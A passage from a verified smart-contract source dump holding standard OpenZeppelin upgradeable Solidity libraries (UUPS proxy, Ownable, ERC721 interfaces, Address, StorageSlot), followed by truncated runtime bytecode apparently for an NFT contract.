_IMPLEMENTATION_SLOT; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822ProxiableUpgradeable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS( address newImplementation, bytes memory data, bool forceCall ) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106102195760003560e01c80636352211e1161011d578063a22cb465116100b0578063d71bf17b1161007f578063e985e9c511610064578063e985e9c514610653578063f2fde38b146106a9578063ff978e9b146106c957600080fd5b8063d71bf17b14610613578063e1398bfd1461063357600080fd5b8063a22cb46514610593578063b88d4fde146105b3578063bf570eb6146105d3578063c87b56dd146105f357600080fd5b80637dec6f0c116100ec5780637dec6f0c146105135780638da5cb5b1461053357806395d89b411461055e5780639fbc82d61461057357600080fd5b80636352211e1461049e5780636938f6dc146104be57806370a08231146104de578063715018a6146104fe57600080fd5b80633d977cd9116101b057806348136c971161017f57806352d1902d1161016457806352d1902d1461043b57806355f804b31461045e5780635d80b5f71461047e57600080fd5b806348136c97146103df5780634f1ef2861461042857600080fd5b80633d977cd9146103515780633f15457f1461037157806342842e0e1461039f57806342966c68146103bf57600080fd5b8063095ea7b3116101ec578063095ea7b3146102dc57806323b872dd146102fc5780633659cfe61461031c5780633d8adfd01461033c57600080fd5b806301ffc9a71461021e57806306fdde0314610253578063077f224a14610275578063081812fc14610297575b600080fd5b34801561022a57600080fd5b5061023e61023936600461445d565b6106fa565b60405190151581526020015b60405180910390f35b34801561025f57600080fd5b506102686107df565b60405161024a9190614515565b34801561028157600080fd5b50610295610290366004614624565b610871565b005b3480156102a357600080fd5b506102b76102b236600461469c565b610be5565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161024a565b3480156102e857600080fd5b506102956102f73660046146b5565b610cbf565b34801561030857600080fd5b506102956103173660046146e1565b610e77565b34801561032857600080fd5b50610295610337366004614722565b610f03565b34801561034857600080fd5b50610268611109565b34801561035d57600080fd5b5061026861036c36600461469c565b611198565b34801561037d57600080fd5b50610137546102b79073ffffffffffffffffffffffffffffffffffffffff1681565b3480156103ab57600080fd5b506102956103ba3660046146e1565b6111b8565b3480156103cb57600080fd5b506102956103da36600461469c565b6111d3565b3480156103eb57600080fd5b506102686040518060400160405280600c81526020017f7175616e74756d2e74656368000000000000000000000000000000000000000081525081565b61029561043636600461473f565b611444565b34801561044757600080fd5b5061045061163b565b60405190815260200161024a565b34801561046a57600080fd5b5061029561047936600461478f565b611727565b34801561048a57600080fd5b506102956104993660046147db565b6117bc565b3480156104aa57600080fd5b506102b76104b936600461469c565b611f5a565b3480156104ca57600080fd5b506102b76104d936600461478f565b61200c565b3480156104ea57600080fd5b506104506104f9366004614722565b61206c565b34801561050a57600080fd5b5061029561213a565b34801561051f57600080fd5b5061029561052e36600461469c565b6121c7565b34801561053f57600080fd5b5060fb5473ffffffffffffffffffffffffffffffffffffffff166102b7565b34801561056a57600080fd5b50610268612400565b34801561057f57600080fd5b5061029561058e366004614889565b61240f565b34801561059f57600080fd5b506102956105ae3660046148b5565b61272e565b3480156105bf57600080fd5b506102956105ce3660046148f3565b612739565b3480156105df57600080fd5b506102956105ee36600461478f565b6127c5565b3480156105ff57600080fd5b5061026861060e36600461469c565b61285a565b34801561061f57600080fd5b5061029561062e36600461469c565b612a1b565b34801561063f57600080fd5b506102b761064e36600461469c565b612c20565b34801561065f57600080fd5b5061023e61066e36600461495f565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260ce6020908152604080832093909416825291909152205460ff1690565b3480156106b557600080fd5b506102956106c4366004614722565b612d69565b3480156106d557600080fd5b506106e96106e436600461469c565b612e96565b60405161024a9594939291906149bc565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061078d57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806107d957507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b606060c980546107ee90614a47565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90614a47565b80156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b5050505050905090565b600054610100900460ff1661088c5760005460ff1615610890565b303b155b610921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084015b60405180910390fd5b600054610100900460ff1615801561096057600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b6109d4604051806040016040528060